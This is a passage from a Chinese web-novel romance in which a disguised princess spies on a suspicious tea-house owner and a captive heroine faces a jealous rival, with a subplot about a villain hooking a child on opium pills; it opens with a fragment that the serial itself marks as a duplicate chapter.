继而又忙回过来附上轩辕玥的耳畔说了会儿悄悄话,便与其一道也走出了雅间的门。 由楼上下来,沿着一条回廊走到了后院里,拐了几道弯又下了回廊来,到了一个隐秘的小院子门口。 锦兰见四周无人,便再也沉不住气了:“公主,你也已经亲眼看到了,今日秦王府那边并没有来人,我们出宫已经有大半日了,还是赶快回宫吧!若是晚了宫门已锁,我们可就真的彻底完了,一定会被皇后娘娘发现的。刚才这里所发生的一切,奴婢的腿到现在都还一直抖个不停呢。你没看到外面这些复杂的人,一个个如狼似虎一般,实在是太可怕了!” 然轩辕玥却根本就不听劝,依旧坚持着道:“少废话,现在还不到晌午时辰呢,着什么急啊?我们再等等,方才与那庄主经过一番谈论过后,本公主断定她这两日一定会来的。这里一定有阴谋,本公主这次一定要将她抓个现形。” “这两日?不行……” “嗯?”面对轩辕玥投来的坚定不移,不容置喙的眼神,锦兰只得闭了嘴将后面的话全都噎了回去。 她早就应该知道,这个公主所决定的事情,是任谁都阻挡不了的,说了也是白说,可她的心理真的始终都是七上八下,怎么都定不下来半分。 “你不是要找茅厕吗?还不赶快去?”片刻后,轩辕玥的声音将其思绪打断。 “咦,刚刚那位小哥说的就是在这里呀,怎么找不到呢?”岂料进去在院子里找了一圈亦不见茅厕的半点儿影子,锦兰摸着脑袋转的似是都有些懵了。 “笨丫头,你确定你没记错?”轩辕玥进去院子里,有些无奈的向其再次确定道。 “没错啊,那位小哥说的就是后院最后面的一个小院子啊!”锦兰的口气里,似是已经有些着急的道。 “会不会在那片竹林后面啊?”轩辕玥环视了一周,发现院子角落里有一片隐隐约约露出来的翠竹林,扬声道。 “是是是,应该就是了。公主,你在这里等我,千万不要乱跑啊。”锦兰不放心地叮嘱道。 “知道了,快去吧!”轩辕玥一边答应着对其摇了摇头,推了锦兰一把。 第三百六十一章:龙腾致雨 (重复章节,请勿订阅,抱歉!!) “只要的确不是俗物,本公子俱都全要。” “只要的确不是俗物,本公子俱都全要。” 拓跋泽听闻愣了一下,继而笑了笑,眼睛忽然落到了身旁的茶器柜上,遂过去从最上面的一层角落里取下了一只精美的盒子来,又请轩辕玥上楼落座在了一别致的雅间里,方才将手中的盒子轻轻打开,神秘地道:“公子请看这套茶具!” 轩辕玥坐着一边挥动着手里的折扇,似是漫不经心地朝着盒子里横了一眼,只见里面整整齐齐摆着九只茶盏,茶盏上个个都有龙形图案,于是轻蔑地笑了笑,道:“哼,不就是几只墨色龙纹茶盏吗,有什么稀奇?本公子府里,随便一套都比这个稀罕!” 拓跋泽依旧笑着,兀自在其身旁坐了下来:“公子有所不知,这套以最上等的胎料所制成的茶具便是灵空目前最为有名的‘龙腾致雨’。” 显然,一听名字倒是有些意思,轩辕玥便道:“本公子倒是耳有所闻,这名字气势恢宏倒是不错,只是不知何为‘龙腾致雨’?” 拓跋泽遂将里面的九只茶盏一应全都拿了出来,排成个一字摆在轩辕玥的面前:“公子请先仔细看看,这九只茶盏有何不同?” 轩辕玥虽心中鄙夷其人,却也因了这颇具名气的茶盏俯身下去认真看了起来。 这一俯身细看才发现,原来这九只茶盏上描绘的是九条形态各异的龙,或攀伏山岩之上,怒日圆睁;或游行于云空之中,雷电云雾掩映;或龙戏水珠、波涛汹涌;或雌雄相待,欲追欲逐;或架势搏斗等等,将龙的种种神态情势,刻画得生动异常。 这时,拓跋泽津津乐道:“这九只茶盏自右往左依次为: 第一龙,刚刚从岩穴中飞跃而出,头尾毕露,紧抓巨石,翘首以待。 第二龙,仅露头尾,与缭绕的雾气相容,双目斜视,回眸望向第一龙。 第三龙,从岩石上跃起,耳目炯炯正视前方,张牙舞爪,神态凌厉。 第四龙,被突如其来的巨浪顺势卷入漩涡,奋力挣扎,目光狰狞,左爪中的明珠如捏碎一般,姿态异常痛苦。 第五、第六龙,为一组,第五龙龙角已脱落,猛然腾起注视着疾驰的六龙,形成搏斗架势。 第七龙,在云海中嬉戏遨游,几乎被湮于其间。 第八龙,穿过云雾翱翔天空,尾巴若隐若现,一副傲慢姿态。 第九龙,则俯身于岩石之上,回望卷首。” 看到轩辕玥已然看的入了迷,拓跋泽又道:“公子请慢慢欣赏,在下下去亲自为公子备些本店的镇店之茶来品鉴品鉴。若是没有好茶作陪,再好的茶具亦都只不过是摆设而已,又如何龙腾致雨呢?” 出了雅间的门,一直跟随在其身旁的侍卫不解的道:“殿下,那人明显不像是来采办的,不知其究竟意欲何为?要不要属下将他……” 然拓跋泽却轻笑着双手负后驻足下来,回头朝门内漫不经心地斜了一眼,似是饶有兴致地道:“你难道看不出那俩个是女子吗?” “她们是女子?”侍卫惊讶地亦随其回头去再次撇了一眼雅间。 “哼,不急,本皇子倒是要看看她究竟是什么来头?到这里又打的是什么主意?”拓跋泽遂半眯起眼睛来不急不慢地说道,继而又附上了侍卫的耳畔,对其不知道说了些什么。 很快,煮好了一壶热气腾腾的岩间九龙,拓跋泽亲自捧着茶盘进去热情招待:“公子试试咱们这四海茶庄的镇店之宝,明曰‘九龙’,取自‘岩间九龙腾四海,茶中圣品味一流。” 看着拓跋泽以其颇为娴熟专业的茶道技艺分好茶汤的醉人过程,那靓丽的茶汤,气势磅礴如同泻雨般倾入到茶盏之中,顿时间每只盏上栩栩如生,形态各异的墨龙全都瞬间似是活了一般地在雨中飞腾起来,轩辕玥颇感叹为观止地赞叹道:“好一个龙腾致雨!” 遂一脸欣喜地看了看眼前九只茶盏中清一色的诱人汤色,细闻了闻拓跋泽亲手递上来的一盏茶香,方才轻抿了一口,却是瞬间忍不住对其连连赞道:“不愧为是龙腾致雨啊,这九龙茶与这九龙杯真是世间绝配。再看这茶汤色泽橙黄明亮,叶片红绿相间。稍微凑近一闻,竟还有一股香气馥郁的兰花气息。不错不错,的确尚还算得上是可以拿来镇店的一道茶。” “公子满意便好。”拓跋泽亦自顾端起其中的一盏茶来,微笑着谦虚道。 轩辕玥笑了笑,放下手里的茶盏来试探着问:“对了,本公子听闻你们四海茶庄颇受众多达官显贵们的亲睐,听说城东秦王府的秦王妃也是从四海茶庄这里采办的茶与茶器,对吗?” “是有这么回事儿,在下看公子气质不俗,不知是哪位大人府上的?想必也一定与秦王府甚为熟识吧!”拓跋泽倒是也坦然,毕竟,如今四海茶庄的名气已然越来越大,几乎无人不识,如若他有意存心遮掩,反倒是显他心中有鬼了。 轩辕玥预料之中,果然还是被其质疑到了她的身份。正欲开口道出早已准备好的说辞,遂灵光一闪,笑了笑转而又道: “呵呵,实不相瞒,本公子乃是来自东宁国的一商人,亦算是仰慕秦王的威名,并不怎么熟识。这么说,庄主与秦王和那由我东宁远嫁而来的秦王妃自是十分熟识了?” 拓跋泽看着正要入口的盏中的茶汤愣了一下,继而轻叹了口气,放下茶盏道:“真是惭愧至极,虽然做了秦王府的生意,却还真的未见过秦王府的主子们,平日里都是府里的婢女佣人们来茶庄采办。在下还正在思量着公子是不是与其熟识,若是如此,还望公子垂怜,能帮在下引荐一二,在下一定感激不尽。不过看来,又是无望了!” “哼,看来这四海茶庄与那秦王妃之间,果然有什么不可告人的秘密,竟然矢口否认认识那东宁公主。”轩辕玥表面上陪着笑脸一脸歉意,心里却暗暗道。 “她为何总是试着打探四海茶庄与秦王府的事?讲话明明全然一副地地道道的西秦国腔调,却还谎称自己是东宁国商人,莫非她与东宁国亦有什么关系?她到底想干什么?”坐在其对面的拓跋泽亦是不动声色地一边品茗,一边甚为百思不得其解着。 “咚咚咚” 就在这时,侍卫叩门走了进来,上前附在拓跋泽的耳边,神秘地不知对其耳语了一通什么。 只见拓跋泽笑着起身来,对轩辕玥客气地道:“真是抱歉,在下有些事要急着处理,公子请稍坐,有什么需要的尽管吩咐下人们,在下处理完要事后很快便回来。” “请自便”轩辕玥亦起身道。 “来人,好生伺候着这位公子,千万不要怠慢了。”交代好一切,拓跋泽方才走出了门,扬长离去。 拓跋泽前脚刚走,轩辕玥正在环视周围的一片淡雅环境,只见锦兰走向了茶庄伙计的身旁,不知对其说了什么三言两语。 继而又忙回过来附上轩辕玥的耳畔说了会儿悄悄话,便与其一道也走出了雅间的门。 由楼上下来,沿着一条回廊走到了后院里,拐了几道弯又下了回廊来,到了一个隐秘的小院子门口。 锦兰见四周无人,便再也沉不住气了:“公主,你也已经亲眼看到了,今日秦王府那边并没有来人,我们出宫已经有大半日了,还是赶快回宫吧!若是晚了宫门已锁,我们可就真的彻底完了,一定会被皇后娘娘发现的。刚才这里所发生的一切,奴婢的腿到现在都还一直抖个不停呢。你没看到外面这些复杂的人,一个个如狼似虎一般,实在是太可怕了!” 然轩辕玥却根本就不听劝,依旧坚持着道:“少废话,现在还不到晌午时辰呢,着什么急啊?我们再等等,方才与那庄主经过一番谈论过后,本公主断定她这两日一定会来的。这里一定有阴谋,本公主这次一定要将她抓个现形。” “这两日?不行……” “嗯?”面对轩辕玥投来的坚定不移,不容置喙的眼神,锦兰只得闭了嘴将后面的话全都噎了回去。 她早就应该知道,这个公主所决定的事情,是任谁都阻挡不了的,说了也是白说,可她的心理真的始终都是七上八下,怎么都定不下来半分。 “你不是要找茅厕吗?还不赶快去?”片刻后,轩辕玥的声音将其思绪打断。 “咦,刚刚那位小哥说的就是在这里呀,怎么找不到呢?”岂料进去在院子里找了一圈亦不见茅厕的半点儿影子,锦兰摸着脑袋转的似是都有些懵了。 “笨丫头,你确定你没记错?”轩辕玥进去院子里,有些无奈的向其再次确定道。 “没错啊,那位小哥说的就是后院最后面的一个小院子啊!”锦兰的口气里,似是已经有些着急的道。 “会不会在那片竹林后面啊?”轩辕玥环视了一周,发现院子角落里有一片隐隐约约露出来的翠竹林,扬声道。 “是是是,应该就是了。公主,你在这里等我,千万不要乱跑啊。”锦兰不放心地叮嘱道。 “知道了,快去吧!”轩辕玥一边答应着对其摇了摇头,推了锦兰一把。 第三百六十二章:你有没有喜欢过一个人? 锦兰离开后,轩辕玥从小院子里迈步出来,漫无目的在外面一边踱步瞎溜达,一边细细斟酌起方才拓跋泽的一字一句来。不禁口中喃喃自语道: “听这个人说话的口气并不像是我西秦国人,他到底是什么人?与那东宁公主,不,应该还少不了那西秦书院大小姐陆天骄,他们串通在一起,到底在做什么?秦皇叔一定都还不知道这些。” 顿时间,她的思绪开始肆意无边的蔓延流淌起来,越想越不对劲,越觉得不对劲便越是想要将它赶快弄清楚。 不经意的一抬起头,忽然从旁边一堵墙的青瓦缝隙里瞥见了对面竟还有一个院子,便看了看周围,见四下无人,索性轻轻过去踮起脚尖来好奇地附了上去细细朝内打量了起来:“咦,这是什么地方?为什么里面如此安静,却又有这般多的壮汉守卫四处把守着呢?” 轩辕玥看了会儿,一点儿动静都没有,最后纳闷地退了下来,单手拖起下巴立定着喃喃自语道:“一定是有什么更贵重的东西存放在里面吧!亦或者是...什么见不得人的秘密?” 一念至此,她又开始继续一边在其周围晃悠,一边仔细观察起这座神秘院子的角角落落来。 半晌后,忽然停下脚步道:“看来,这正门是肯定进不去的了。哼,正好本公主也许久未展拳脚了。” 正说着,只见她轻笑了一声,继而走到了一个极为隐蔽的墙角角落里忽然停了下来,抬头“嗖”的一下,便极轻巧地跃上了屋顶去。 压低身子俯瞰过整个四合院后,除了满院子佩剑行走的侍卫来来去去巡逻着以外,似乎再无其他任何可疑身影了。 于是,她选择停留在了一处唯一门口站着两个门神一般严肃的守卫的屋顶,轻轻俯身下去,趴附在上面小心翼翼地扒开了几片青瓦来,朝下面的屋内查探看去。 “他刚才不是说他有要事要处理吗?怎么这会儿却一个人坐在这里?”她怎么都没想到,此时竟会在这里看到拓跋泽,而且还是单独一个人在屋内不知道在书案边画些什么。 紧接着,又朝屋内其他地方探了探,可寻觅了许久,并未见到有任何异样。 此时,她的心里便更加纳闷了:“既然什么都没有,为何这个院子里却聚集了比整个茶庄及其他所有地方加起来还要多的守卫呢?” 一边纳闷着,轩辕玥再次抬起头来,环视了院子里的守卫们一眼。 迟疑之际,她加快了手下的速度又忙扒开了临近的几片青瓦,再次放眼下去探,岂料隔壁房内却是空空如也,没有任何收获。 虽然甚是纳闷不解着,然一想到锦兰也应该已经出来了,便准备悄悄将瓦片盖上去后沿原路返回离去。 拾起手边的瓦片来忽然一俯瞰,眼前竟忽然出现了一个似曾相识的女子身影,她立刻俯身下去几乎是紧紧地贴在了屋顶上朝那女子仔细窥视,却是越看越觉得不对劲,继而似是简直都不敢相信自己眼睛地用力揉了揉双眼,口中喃喃自语道:“这个人的身影,看起来怎么那么像是…难道真的是…云儿?可云儿不是在城南里失踪的吗?怎么又会出现在这里?这个女子,真的是她吗?” 为了尽快证实就连自己都觉得有些匪夷所思的猜想,情急之下,轩辕玥顿时抬起头来朝身旁四周环视了一眼,见四下无人,便试着压低了声音朝屋内的女子轻唤道:“云儿,云儿,云儿……” 半晌后,见屋内的女子一直都只在里面不停的来回踱步着,始终都似听不见她的呼喊声半分。于是,她灵光一闪,目光忽然落在了手边的一颗小石子上。 然就在她伸出手去拾起那粒石子来欲要朝下面丢去引起女子注意时,拓跋泽却忽然像是从天而降的一般,不知何时已立在了她的身后。 轩辕玥突然觉查到了身后人的存在,便忽地转身,却是已然来不及反应,便被拓跋泽狞笑着一掌劈晕了过去:“你……” 而此时,就在四海茶庄后院背街的一个幽静的客栈里,一名男子正面无一丝血色地躺在客栈一间房内的床榻上,陷入在一片沉沉的昏迷当中。 “怎么样,他到底还能不能醒过来了?”梅志煊显得极为忧心着急地问正坐在床头专心为其诊脉医治的易三少道。 “所幸下手的人并不知道这个人的心脏极为罕见的是在右边,所以他现在只是受伤太重,出血过多所导致的昏迷而已。已经给他用了药,放心吧,他会醒过来的。” 墨发红袍的易三少皱着眉头一边说着,一边站起身来走到窗边伸手将窗户推开,让和风拂进,使柔光照入,好驱散他此时脸上满满的晦暗之气。 “赶快醒来吧,希望他是真的能知道那个拓跋泽究竟将皇妹带到哪里去了?”梅志煊听了易君浩的话终于长长的舒了口气,眉头骤舒,看着那人沉睡的脸低声喃喃道。 床榻上昏迷着的这个人,正是在石山上被轩辕翰等人搜到,从其口中得知衣上云被人已掳走不知去向,之后又将其交给兰香处理,又被龙烨的浮雕龙纹铜鞘匕首捅了一刀,却侥幸并未毙命的骁龙会红衣壮汉。 而易三少与梅志煊则是以易三少那以假乱真的易容术早已安排好了替身,令其随同轩辕翰的人马一出骁龙会的大门,便直朝南安国皇宫方向奔去。 然这二人,实际上却早已在得知了陆天麟所带回的衣上云已被掳回西秦皇城的消息后,便乔装避过了轩辕翰的耳目,迫不及待地沿路一直赶往西秦皇城秘密寻找衣上云的下落。 不想半路上,竟遇到了这个奄奄一息的人向他们求救,并说自己知道衣上云的去向,只要他们救他。于是,便将他救了下来,一路带着至此。 显然,俩人在回西秦皇城的路上沿途寻找了多日,依旧没有关于衣上云的一丁点儿消息。此时,他们似乎只能寄托一丝希望在这个死里逃生的人身上了。 梅志煊回头一看,见易三少竟难得如此安安静静地独自立在窗前,微微俯身双手撑在窗台上望着窗外发呆,不禁有些惊诧,遂走过去亦玉立在其身旁,与其一道看着窗外满枝头的繁花似锦,暖水里的缱绻浮鸭,熙熙攘攘的街头,脚步匆匆的行人,轻问一声道: “在想什么呢?是不是...又是丫头?放心吧,她是嫡母后的血脉,有嫡母后的在天之灵与我东宁国皇族列祖列宗的庇护,一定不会有事的!” 说着说着,不禁将一只修长的大手附在了易三少的肩上轻轻拍了拍。然而这句话,与其说是用来安慰易三少的,还不如说也是用来平复自己纷乱的心绪的。 岂料易三少忽然咬着牙双手紧紧地握住窗台边缘,终不再隐忍,最后一把重重的拍在了窗台上大怒道:“这个拓跋泽,真是太可恶了,竟敢一而再,再而三的对丫头下手。绝不能再隐忍了,这个蛮夷之邦,看来是该好好教训教训他们了!” 梅志煊见了惊诧的道:“你想做什么?三少可是从来都不参与这种天下纷争的呀!” “为了丫头,我愿意去做一切。”易三少顿转过头来看着梅志煊的眼睛信誓旦旦地道。 然片刻后,却又黯然了下来,低声喃喃自语道:“哪怕是在她的记忆里,已经没有了关于我的半点儿记忆,但我仍然愿意。” 梅志煊顿时对其肃然增敬,这也才回想起来,亦忧心的道:“是啊,皇妹竟然失忆了。” 一时间,俩个同样高大伟岸的身影就这样并肩凭窗而立着,俱都一起沉默了下来,一室寂静。 不知过了多久,易三少忽然愣愣地问了句:“你有没有喜欢过一个人?” 闻声,梅志煊蓦然转头看向了他妖艳的侧脸,怔了一下。却不知道为何,脑海里忽然浮起了与轩辕玥第一次在西秦皇城的街市上碰面时的情景。 在那个柔柔弱弱的小小身躯里,却仿佛似是蕴藏着一股巨大的力量,他不知道那是什么?只知道自己在那一刻,平生第一次对一个女子产生了一种莫名的奇妙感觉。 以至于在此以后的日子里,许多个不眠之夜,都会不自觉地想起她来,而一想到她,似乎有生以来所有的伤痛与孤独,亦变成了一份甘之如饴。他的嘴角总在这个时候便会悄悄挂起一丝舒心的笑容来伴他入眠。 莫非,这便是世人口中所说的“爱情”? 可是,一想到自己毕生最大的心愿至今都毫无眉目,他又岂能“玩物丧志”留恋于这些儿女私情? 况且他一直都很清楚,未来迟早有一日,她与轩辕玥之间,终归会彻底决裂。 若不是在城隍庙里的那位高僧口中得知西秦守护者竟然还活在这个世上,或许,他会在心里真心的祝福,希望轩辕玥能够得到一个女人一生中最大的幸福。而显然,她的一生,终究还是被他给毁了。 一念至此,梅志煊回过神来深深地吸了口气,似是已下定了决心一般,凉凉地说出两个字来:“没有。” 第三百六十三章:伸向无知小儿的魔爪 “没有?” 听了梅志煊的答案,易三少那对一直朝着窗外缱绻依偎着的一双暖鸭发愣的迷人的桃花眼忽然怔了一下,虽然有些吃惊,却也是在他的预料之中,不难理解。 像梅志煊这样表面上看起来温润如玉,实则城府极深而又唯独只对皇权帝位野心勃勃的一个人,又岂会同他这般此生只愿潇洒不羁,风花雪月,醉生梦死,留恋于儿女私情呢? 他们两个,虽然皆都同为这片大陆上身份极不一般的皇室贵胄,可志趣却是大相径庭,完全不同。想这样的两人竟也能像现在这般和气地坐在一起“谈情说爱”,易三少忽然发出了一阵颇为自嘲的轻笑来,觉得自己的所作所为以及方才所提出的问题,实在是可笑至极。 索性,他还不如提起兴致来,将一只骨节分明的大手伸出,绕过脖颈揽住了梅志煊的另一肩头,继而转头阔步扬声道:“走,找个地方喝茶去!” 晌午饭时辰刚过,四海茶庄门前。 一辆秦王府的豪华马车缓缓停了下来,赵嬷嬷掀起车门帘朝内轻唤了一声道:“王妃娘娘,四海茶庄到了!” 只见梅汐媛一袭锦衣华服,满头珠翠,尊贵优雅地捉着赵嬷嬷的手徐徐下了车来,身后跟着陆天骄和几名侍女。被掌柜的亲迎进门,一路上穿堂而入。 走在半道上,后面的一名小婢女忽然脚步匆匆的上前来附在梅汐媛的耳旁对其轻声道:“王妃娘娘,方才进门的时候,奴婢好像看到三皇子殿下了。” 梅汐媛顿时一惊,又暗自想了想,继而微微侧过脸去压低声音朝那小婢女一顿呵斥道:“胡说,三皇兄如今不是应该在城南桃花店村吗?即便是他真的已经不在桃花店村了,那也只会是回到东苑里去,又怎么会在这个时间出现在这个地方?不要瞎说,退下吧!” “是,许是奴婢真的眼拙了。”小婢女挠了挠脑袋,迟疑地道。梅汐媛舒了口气,却亦朝身后来时的路上张望了一眼。 紧随着掌柜的脚步,一直走到了后院里拓跋泽的书房门前方才停了下来。 这时,掌柜的满脸堆笑着道:“秦王妃请进,庄主已经恭候王妃娘娘大驾多时了。” “你们都在外面候着吧,不必跟进去了。”除了赵嬷嬷,梅汐媛进门前回头将包括陆天骄在内的所有人全都拒在了门外。 “姐姐,难道我也……”陆天骄显然对梅汐媛此举颇为不满,焦急地道。 然却被梅汐媛挡了回去:“放心吧!姐姐就在里面,你还怕我带着这些东西飞了不成?” 说着,她似是又想起了什么?转而对身旁的掌柜询问道:“有劳掌柜的,请带我这位妹妹先去见一下那人,可否?” “这个庄主已经交代过,自然是没有问题。那就劳烦请这位小姐移一下步吧!”掌柜的客气地道。 梅汐媛既然都已经这样安排了,陆天骄似是也无话可说,她也确实急着想要单独见一见那个让她恨到骨头里去的人。 于是抿了抿嘴,便将剩余的话全都噎了回去,欣然接受了安排。 看着梅汐媛终于安心的带着赵嬷嬷夺门而入,那门最后又被那掌柜的从外面轻轻掩上,陆天骄也缓缓开始紧随掌柜的脚步,往后面的院子里挪步而去。 就在这时,从前院里奔过来一个茶庄伙计,一上来便上气不接下气,火急火燎的道:“掌柜的,掌柜的,你快去瞧瞧吧,几位大人府上的千金小姐们带着丫鬟和随从在店里吵起来了,都抢着要店里的那道玫瑰花茶呢,还砸碎了不少东西呢!” 那老掌柜的听了猛拍了一把大腿,苦道:“什么?哎呦,我的这些小祖宗们哟,怎么就不能消停一点儿呢?还嫌我整天不够忙吗?” 这时,陆天骄笑盈盈地上前开口道:“掌柜的既然有事便去处理好了,你告诉我怎么走,我自己去便可,你无需作赔的。” 掌柜的顿显一脸感激地道:“如此,那就多谢小姐体恤了,若是那些个刁蛮任性的主儿有小姐这般三分和善便就好了。您沿着回廊一直往后面走,就在最后面的一个角落上,您看到那里有许多守卫在看着,便是那座院子了。还有,这个腰牌您拿好,没有它,即便是将刀架在他们脖子上,他们也是不敢放您进去的。” 陆天骄握紧了掌柜的递上来的一块木质腰牌,含笑着道:“好了,我都记住了,掌柜的您快去忙吧!我自己可以应付,不会有问题的。” 伙计这才忙上前来搀扶起老掌柜的胳膊,俩人跌跌撞撞的一起直朝前院里的店铺急奔了去。 而陆天骄亦对其背影笑着摇了摇头,转身却咬牙狠狠地道:“衣上云,你的死期终于到了。谁输谁赢?咱们马上便见分晓!” 继而,她缓缓摊开了手中紧握着的腰牌打量了会儿,只见那约摸是半张手掌大小的一块光亮的圆形黑沉木牌,上面雕刻着一簇绿色的只有北方游牧民族才盛产的羊草花纹。陆天骄不禁对其喃喃骂道:“你也不是什么好东西,竟然敢利用本小姐,有朝一日,本小姐一定要你全都还回来。” 说完,便收好腰牌在袖兜里兀自开始继续往前走去。 而此时,后院一角落里,被人重重防守起来的一间屋子。外屋的门锁忽然被人打了开来。 随之,负责照料衣上云起居的妇人迈脚走了进来,一进门便满脸欣喜地道: “姑娘,吃饭了!” “姑娘,起来吃点儿饭吧!今儿晌午给你炖的鲜鱼汤,奶白奶白的,还有……” 然就算她说的再诱人,却始终都没有听到屋内的人发出一丁点儿动静来。 “姑娘……” 岂料,直到她伸手掀开门帘进入内屋,却看到衣上云依旧面朝着床榻内侧一动不动的躺着。 见此,妇人顿时卸下了脸上的笑意,无奈的收起了声走过去坐在床沿,伸出手轻轻晃了晃她的身子,道: “姑娘,晌午都已经快过了,该起来了。早上你就只喝了两口白粥,这样下去可不行呢!” 岂料衣上云忽地转身坐起来,双手紧紧捉住了妇人的胳膊,眼巴巴的向其哀求道:“大婶,你帮我,帮帮我,帮我找秦王殿下,求你了!” 说着,她竟跌跌撞撞地从床榻上下来“扑通”一声,跪在了妇人的膝前,似是急的都快要哭了一般,眼里闪烁着晶莹的泪花。 妇人被其举动惊了一跳,想了想,一咬牙,遂压低了些声音坦言相告道:“姑娘,不是我不帮你,而是如果我帮了你,我的儿子就没命了。” 衣上云这才觉得事情似是有些蹊跷,便问:“你的儿子?我见大婶的儿子虎头虎脑的甚是可爱,他怎么了?” 妇人顿时皱起眉来,心痛的回忆道:“实不相瞒,一个月前,这里原本还是个酒楼。我便是这个酒楼的老板娘,可怜我们夫妻老来得子。却在一月前的一日里,我的儿子不知道吃了什么?突然久痢不止,我们到处求医问药,亦是于事无补。” 想起那段痛苦难熬又无助的日子,妇人几度哽咽:“就在我儿子都快要虚脱至断气的时候,现在的这位庄主忽然寻上了门来,他说他能医治我儿子的病,但是...但是他的药极贵,一粒药丸便要五十两。” “五十两!是什么药如此之贵?”衣上云惊呆了。 “他说那叫什么芙蓉丸,是用他独门秘制的一味药,再加上木香、黄连、白术各一分研末,用饭共捣烂做成丸如小豆般,空腹米汤送服半分。”妇人答道。 “久痢不止...芙蓉丸...阿芙蓉?那可有治好了?”衣上云似是心里已猜到了什么? 妇人叹了口气:“我们哪里知道,原来他说的能治我儿子的病,竟是要一直吃他的药才行,否则便会整日里总是嗜睡、精神不振着。后来,我那要强的汉子一见祖上三代传下来的基业就这样慢慢被买这药被迫拱手让人,儿子亦变成了这样,一气之下,便抛下我们母子…服毒去了。” 衣上云听了妇人所说,愤怒至极地道:“可恶,竟然将魔爪伸向了一个无知小儿的身上,真是不可饶恕。大婶,你们被骗了,那药可不能再吃了,你儿子已经中毒了!” 妇人蓦然清醒,不解地道:“中毒了?” 衣上云忿忿解释道:“大婶有所不知,那个人乃心术不正之人,这其中一定是他故意搞的鬼。他的这种药原本是可以治疗久痢,但过食便会令人中毒成瘾,久而久之必会毙命无疑。依照方才大婶所说的起病时间和服药剂量来看,还不算太严重,如今当以煎服延胡索、丹参、当归、川芎、桃仁、红花、还有……方才能解毒。” “姑娘的方法果真能治好我儿子的病吗?不再依赖庄主的天价之药?若是真如此,那便是要我的命都行啊!”妇人听闻抹了把眼泪激动地道。 衣上云对其点了点头,道:“大嫂言重了,若是你按照我的方法去做,真的治好了你儿子,还请大婶将这把短剑设法交给秦王殿下,他看到以后,自会设法来救我的。有他在,你们不会有事的。” 说着,衣上云正想掏出那把轩辕翰之前交给她防身用的龙凤短剑来时,忽然从屋外传出一女子的声音道:“想走,你怕是没有那个机会了吧?!” 第三百六十四章:你有什么资格跟我争? “好大的胆子,竟敢无视你们主子的命令斗胆想帮这个贱人脱身,你就不怕连累这一院子的人被扒皮抽筋吗?” 原来,陆天骄竟不知何时已悄悄地进门来隐身在内屋门外听到了妇人与衣上云的谈话。 只见她挑着门帘站在门口一说完这句话,便气势汹汹地近身到床榻边来狠狠地盯视着妇人的眼睛,呵斥其道:“还不快滚!” 然妇人心里似是并不怕她,兀自看了衣上云一眼,衣上云对她点了点头,妇人方才缓缓起身来退了下去。 衣上云这才仔细打量了一番面前的陌生女子,疑惑地问:“你是谁?” 陆天骄闻此不禁顿时朝其一怔,道:“怎么?你…你不认得我了?” 衣上云看着她吃惊的眼睛又想了一会儿,最后还是纳闷地摇摇头,记忆中确实并没有关于此人的一丁点儿映象,遂低声解释了一句:“我…失忆了。所以,过去的很多人,还有很多事都已经记不起来了。” 陆天骄心中一震,遂大惊道:“什么?你失忆了?” 继而,却忽然盯着衣上云的脸,慢慢展颜变作了一脸狂喜起来,眼中似是还隐隐有泪伴着,仿佛心间许久以来所有的仇恨与不平突然间得到了释然一般,皮笑肉不笑着道:“呵呵…呵呵呵。报应,这都是报应,这一定是老天对你厚颜无耻,横刀夺人所爱的惩罚。活该,这都是你活该,是你应得的!” 衣上云眼睛一眨不眨地凝视着她此时甚至都有些狰狞的笑脸,道:“你到底是谁?为什么这样说我?横刀夺爱…莫非…难道你就是秦王妃?可这身装扮看起来并不像是呢?” 衣上云说着,再次打量了一番眼前气质看来本该温婉贤淑的一个女子,却不知为何这会儿会有这番言辞与举动。 “我是谁?”陆天骄哼了一声,挑了挑眉看似云淡风轻地说了句。 继而缓缓上前到了榻边俯身下去近距离看了看衣上云脸上的红色胎记,忽然一双幽暗无边的漆黑双瞳中波涛翻卷,终咬着牙恨恨道:“我是这辈子注定与你水火不容,不共戴天之人。你凭什么抢走我的翰哥哥?” 陆天骄说完,狠狠瞪了她一眼,兀自转身走到了窗边,望着窗外后院里的一片青青翠竹,和屋顶上翩翩飞翔的白鸽,面上忽然淡若春风的微笑了起来,回忆着道: “你可知道?我与翰哥哥打小便在西秦学院里一起长大,青梅竹马。即便是皇上后来非要硬塞给他一个王妃,我也知道,那只不过是一桩再普通不过的政治联姻罢了,翰哥哥是不可能对她动心的。后来,事实果然没有让我失望,翰哥哥至今都未同她圆房,甚至从来都没有正眼瞧过她。更是在大婚的第二日,便将她打发到了韶华阁去。” 而不知何时,已经悄悄下榻来坐到了屋内案边的衣上云则默默地凝视着几缕阳光透过另一边的窗户斜斜晒进来的光柱中的万千微尘飞舞,不知道究竟在想些什么…… 只闻说着说着,陆天骄忽然停了下来。 她这才缓缓抬起头来看向了其侧脸,方才发现其脸上刚刚还挂着的淡淡温暖的笑容,早已卸了下来。 这时,陆天骄的双眸寒光四射着蓦然转身,朝其怒吼道:“可这一切,却因为你这个贱人的出现,全都被打破了。翰哥哥他变了,变得一点儿也不像以前的他。他竟然会因为你这样一个丑女的失踪,在整个灵空大陆里不计任何代价地满天地寻人;在她大婚的那日,你给他的那只那般粗陋不堪的破药香囊,至今他却都拿它当宝一般从不离身地带着;我竟不知,他为了给你治愈腿上的寒疾,豁出性命去寒荒山上采腊月春;当你突发高热不省人事的时候,为了给你消除高热,大雪天他把自己泡在冰桶里用自己的身子……” 陆天骄一想起那夜的场景来,不禁整个身子都似是颤抖了起来,那夜里所看到的一切,轩辕翰虽那般的守口如瓶,然还是被她打探地清清楚楚。 顿了顿,陆天骄稍微缓和了一些,上前两步到其面前继续道:“那样尊贵无比,睥睨天下的一个人,如今为了你,竟做了这么多不可思议的事情!而你呢,你只不过是一个小小宫廷药师家的废柴丑女,就连我哥哥都对你不屑一顾,与你退了婚,你有什么资格跟我争?你为什么昏迷了一年又要醒过来?为什么不直接干脆死掉?你根本就配不上他!在这个世上,只有我陆天骄才是真正对他好,能帮他的人,没有人比我更爱他。自从我们相遇的那天起,他便注定只能是我一个人的,我陆天骄就是为他而生的。其他所有想要走近他的花花草草,我全都会一一设法拔除。你根本不值得我的翰哥哥如此付出,他为了你……” 听着陆天骄在耳旁所说着的一切,这些过去的一幕幕也随之再一次在浮现在了衣上云的眼前。是啊,那样尊贵的一个男人,竟然默默地为她做了这么多,而有些甚至都是自己从来都不曾知道的。 不知过了多久,陆天骄默默地转过了身去,不知何时已收敛了声音不再说话,似是陷入了莫大的悲痛之中,然衣上云却忽然回过神反应了过来: 